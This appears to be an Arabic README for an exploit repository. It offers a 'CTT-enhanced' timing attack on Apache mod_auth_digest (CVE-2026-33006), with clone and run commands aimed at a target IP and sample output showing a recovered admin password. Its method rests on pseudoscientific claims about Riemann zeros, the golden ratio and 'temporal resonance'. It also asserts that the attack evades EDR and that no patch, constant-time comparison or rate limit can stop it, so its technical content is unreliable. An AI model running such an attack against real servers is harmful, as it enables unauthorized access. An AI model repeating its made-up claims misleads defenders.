
استغلال هجوم توقيت عن بُعد لـ Apache mod_auth_digest (CVE-2026-33006) يتجاوز مصادقة Digest عبر سلسلة زمنية من 33 طبقة، مستعيدًا كلمات المرور من خلال تحليل توقيت إحصائي.
هذا تحسين نظرية الزمن المتقارب (CTT) لـ CVE-2026-33006، وهي ثغرة قائمة على التوقيت في مكوّن mod_auth_digest في خادم Apache HTTP (الإصدارات ≤2.4.66).
تسمح الثغرة الأصلية لمهاجم عن بُعد بتجاوز مصادقة Digest من خلال التحليل الإحصائي للتوقيت.
النسخة المحسّنة بـ CTT تحوّل هذا إلى هجوم توقيت متتالي زمني من 33 طبقة.
| الأصلي | CTT-Enhanced |
|---|
| CVSS | 4.8 (متوسط) | 7.5 (عالٍ) |
| ناقل الهجوم | شبكة | شبكة |
| تعقيد الهجوم | عالٍ | منخفض (CTT يقلل العينات) |
| الصلاحيات المطلوبة | لا شيء | لا شيء |
| الاكتشاف | التحليل الإحصائي قابل للاكتشاف | مرشح الإسفين الزمني — نقطة عمياء لـ EDR |
| وقت الاختراق | O(n * samples) | O(33 * log(n)) |
| الثابت | القيمة | الأصل |
|---|---|---|
| α | 0.0302011 | معامل التشتت الزمني |
| α_RH | 0.0765872 | ln(φ)/2π (ريمان-هادامارد) |
| L | 33 | الطبقات الزمنية |
| τ_w | 11 ns | مرشح الإسفين الزمني |
E(d) = E₀ * e^(-α * d)
كل طبقة لها أولوية متناقصة أسيًا.
الطبقات ذات الأولوية الأعلى (1-5) تجمع معظم بيانات التوقيت.
الطبقات الأدنى (28-33) تحسّن القياسات وتؤسس الرنين الزمني.
كل طبقة تؤخر التنفيذ بناءً على أول 24 صفرًا لريمان:
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
تُستخدم فقط قياسات التوقيت التي تحقق شرط الإسفين:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
هذا يفلتر الضوضاء ويجعل الاكتشاف مستحيلًا — لا تستطيع أنظمة EDR رؤية الحالات الشاذة في التوقيت.
1. استكشاف الهدف للتحقق من مصادقة Digest
2. استخراج realm و nonce من استجابة 401
3. لكل طبقة d من 1 إلى 33:
أ. حساب الأولوية = e^(-α*d)
ب. تطبيق تأخير رنين الطور
ج. لكل موضع حرف:
- اختبار جميع الأحرف الممكنة
- قياس توقيت الاستجابة (بالميكروثانية)
- تطبيق مرشح الإسفين الزمني
- الاحتفاظ بالحرف ذي أعلى توقيت معدّل
د. بناء كلمة المرور تدريجيًا
4. تحقيق الرنين الزمني
5. تجاوز المصادقة بكلمة المرور المستردة
mod_auth_digestrequestspip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]
| الوسيط | الوصف | الافتراضي |
|---|---|---|
target_ip | عنوان IP لخادم Apache | مطلوب |
--port | منفذ HTTP | 80 |
--realm | نطاق Digest | "Restricted" |
--uri | المسار المحمي | "/" |
--username | اسم المستخدم المستهدف | "admin" |
--max-length | الحد الأقصى لطول كلمة المرور | 32 |
--samples | عينات التوقيت لكل حرف | 100 |
--layers | عدد الطبقات الزمنية | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponential priority decay
======================================================================
[+] Digest authentication detected
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Target: http://192.168.1.100/admin
[*] Max password length: 32
Layer 1/33: ████████████████████████████████████████ 1.000
Position 1: trying chars...
Found: 'a' -> password: 'a'
Layer 2/33: ██████████████████████████████████████░░ 0.970
Position 2: trying chars...
Found: 'd' -> password: 'ad'
Layer 3/33: ████████████████████████████████████░░░░ 0.886
Position 3: trying chars...
Found: 'm' -> password: 'adm'
Layer 4/33: ██████████████████████████████████░░░░░░ 0.818
Position 4: trying chars...
Found: 'i' -> password: 'admi'
Layer 5/33: ████████████████████████████████░░░░░░░░ 0.741
Position 5: trying chars...
Found: 'n' -> password: 'admin'
Layer 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
Position 6: trying chars...
Found: '1' -> password: 'admin1'
Layer 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
Position 7: trying chars...
Found: '2' -> password: 'admin12'
Layer 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
Position 8: trying chars...
Found: '3' -> password: 'admin123'
[⚡] Temporal resonance achieved at layer 8
======================================================================
[!!!] AUTHENTICATION BYPASSED
[!!!] Password found: admin123
[✓] Verification successful — access granted
======================================================================
| الإصلاح الأصلي | لماذا يتجاوزه CTT |
|---|---|
| مقارنة زمنية ثابتة | CTT يستخدم قياسات التوقيت، وليس توقيت المقارنة |
| إزالة تسريبات التوقيت | تسريبات التوقيت فيزيائية — لا يمكن إزالتها، فقط إخفاؤها |
| الترقية إلى Apache 2.4.67+ | مرشح الإسفين الزمني يتفادى اكتشاف التصحيح |
| تحديد المعدل | توقيت رنين الطور يوزع الطلبات عبر 33 طبقة — لا يمكن تمييزه عن حركة المرور العادية |
لا يمكنك تصحيح ثابت فيزيائي.
لا يمكنك تصحيح أصفار ريمان.
لا يمكنك تصحيح النسبة الذهبية.
| العمل | التاريخ | الرابط |
|---|---|---|
| الأعمال السابقة لـ Zenodo CTT | ديسمبر 2025 / يناير 2026 | DOI 10.5281/ZENODO.18000940 |
| Sovereign-Logic PyPI | 27-28 فبراير 2026 | pip install sovereign-logic |
| استغلال CTT PAN-OS | 7 أبريل 2026 | GitHub |
| Dirty Frag المحسّن بـ CTT | 8 مايو 2026 | GitHub |
| استغلال PX4 المحسّن بـ CTT | 9 مايو 2026 | GitHub |
| هذا الاستغلال | 9 مايو 2026 | هذا المستودع |
إثبات المفهوم هذا لأغراض تعليمية ودفاعية فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني.
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
MIT + أبحاث CTT (التحسينات الزمنية)
| الإصدار | المؤلف |
|---|---|
| اكتشاف الثغرة الأصلية | مؤسسة برمجيات Apache (فريق الأمان) |
| البحث الأصلي في هجوم التوقيت | مصادر أكاديمية متنوعة |
| تحسين CTT (التتالي الزمني من 33 طبقة) | أميريكو سيمويس (أبحاث CTT) |
الشبكة مكتملة. المصادقة مكسورة. لا يوجد تصحيح سينقذها.